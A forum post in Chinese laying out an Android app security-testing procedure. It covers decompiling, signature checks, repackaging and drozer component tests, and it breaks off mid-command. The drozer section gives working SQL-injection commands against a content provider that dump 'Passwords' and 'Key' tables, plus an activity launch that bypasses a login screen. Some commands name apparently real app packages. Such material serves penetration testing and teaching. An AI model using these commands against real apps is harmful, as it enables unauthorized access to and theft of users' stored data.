taibeihacker
Moderator
一、客户端程序安全测试
1.檢查apk的信息java -jar GetApkInfo.jar tfkj.apk

2.數字簽名檢查
C:\Program Files\Java\jdk1.8.0_111\bin\jarsigner.exe-verify C:\Users\bk\Desktop\天府科技雲APP\天府科技雲服務平台\天府科技雲服務平台.apk

C:\Program
Files\Java\jdk1.8.0_111\bin\jarsigner.exe-verify C:\Users\bk\Desktop\天府科技雲APP\天府科技雲服務平台\天府科技雲服務平台.apk -verbose -certs

開發者證書不規範,導致開發者身份信息不明
keytool.exe-printcert-file.\CERT.RSA

3.反編譯檢查
通過ApkScan.jar查看APP加固類型

apk反編譯為Java源代碼:
把apk 當成zip 並解壓,得到classes.dex 文件

將解壓出來的classes.dex文件拷貝到dex2jar工具文件夾中

執行命令:d2j-dex2jar classes.dex

執行完畢後,得到反編譯而來的classes-dex2jar.jar文件

使用jd-gui.exe或者luyten-0.5.4打開classes-dex2jar.jar文件,得到360安全加固混淆加密的源代碼。

apk編譯為smali語言:
java -jar [apktool_2.3.4.jar] d -f
[apk地址] -o [輸出目錄]
java -jar
apktool_2.3.3.jar d [-s] -f C:\Users\bk\Desktop\天府科技雲APP\天府科技雲服務平台.apk -otfkj //遇到類似於淘寶app無法反編譯這樣,-s代表只反編譯xml文件
java -jar
apktool_2.3.3.jar d -f C:\Users\bk\Desktop\天府科技雲APP\天府科技雲服務平台.apk -otfkj

或者:
apktool.bat d 天府科技雲服務平台.apk

4.檢查AndroidManifest.xml文件
java -jar AXMLPrinter2.jar AndroidManifest.xml
AndroidManifest.txt
或者
java -jar APKParser.jar 天府科技雲服務平台.apk AndroidManifest.txt



allowbackup備份權限,ture則存在備份數據洩露風險(未配置的情況下,默認為TRUE)

2.開啟不安全的debug模式:
Debuggable屬性,true則存在應用信息篡改洩露風險(未配置的情況下,默認為FALSE)

5.檢查是否存在Janus漏洞
(1)Janus漏洞(基於Janus漏洞,攻擊者可以修改APP而不影響其原始簽名,篡改後的APP可以成功安裝運行。應同時使用V1+V2簽名)

6.應用完整性校檢
將反編譯出來源碼中修改圖片文件名為test.png

進行重新生成apk包,命令如下:
java -jar apktool.jar b -f 待打包的文件夾-o 輸出apk 路徑


或者
apktool.bat b天府科技雲服務平台

天府科技雲文件下便可以發現多了2個文件夾:build,dist(裡面存放著打包出來的APK文件)
重新簽名APK命令如下:
java -jar signapk.jar testkey.x509.pem
testkey.pk8 待簽apk文件路徑簽名後輸出apk路徑

然後重新安裝apk,如果重新能安裝上,則文件完整性被破壞掉
二.组件安全测试
1、基本信息查詢(1)、列出程序安裝包:run app.package.list

命令:run app.package.list -f 包名
run app.package.list -f drozer


2、activity(界面)组件测试
通常展現為一個可視化的用戶交互界面(1)、查看對外的activity組件信息命令:run app.activity.info -a 包名run app.activity.info -a com.zhuoyigou.dese
命令:run app.activity.start --component 包名組件名run app.activity.start--componentcom.mwr.example.sievecom.mwr.example.sieve.PWList #繞過密碼進入系統,一般主要登錄窗口交互界面


調用暴露的activity組件(一般activity組件只會暴露一個程序啟動界面,在暴露其他的就屬於組件暴露,下面這個這是個測試,沒有組件暴露漏洞)


3、content provider(内容提供者)组件测试
主要用於在不同應用程序之間實現數據共享的功能(1)、查看content provider組件信息命令:run app.provider.info -a 包名run app.provider.info -a com.zhuoyigou.dese

命令:run app.provider.query 可洩露的URL地址--verticalrun app.provider.query content://com.zhuoyigou.dese.ipc.provider/--vertical

命令2: run app.provider.query 能連接的URL地址--selection '''run app.provider.query content://com.zhuoyigou.dese.ipc.provider/--selection '''


命令:run app.provider.query 能連接的URL地址--projection '* FROM SQLITE_MASTER WHERE type='table';--'run app.provider.query content://com.zhuoyigou.dese.ipc.provider/--projection '* FROM SQLITE_MASTER WHERE type='table';--'如下圖我們發現三張表android_metadata、Passwords、Key,從名稱上可以判斷android_metadata是系統相關表,另外兩可能和密碼等數據有關。

(5)、獲取某個表(如Key)中的數據:
命令:run app.provider.query 能連接的URL地址--projection '* FROM 表名;--'run app.provider.query content://com.zhuoyigou.dese.ipc.provider/--projection '* FROM Key;--'(6)、檢測SQL注入
命令:run scanner.provider.injection -a 包名
run scanner.provider.injection -a com.zhuoyigou.dese



run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/datab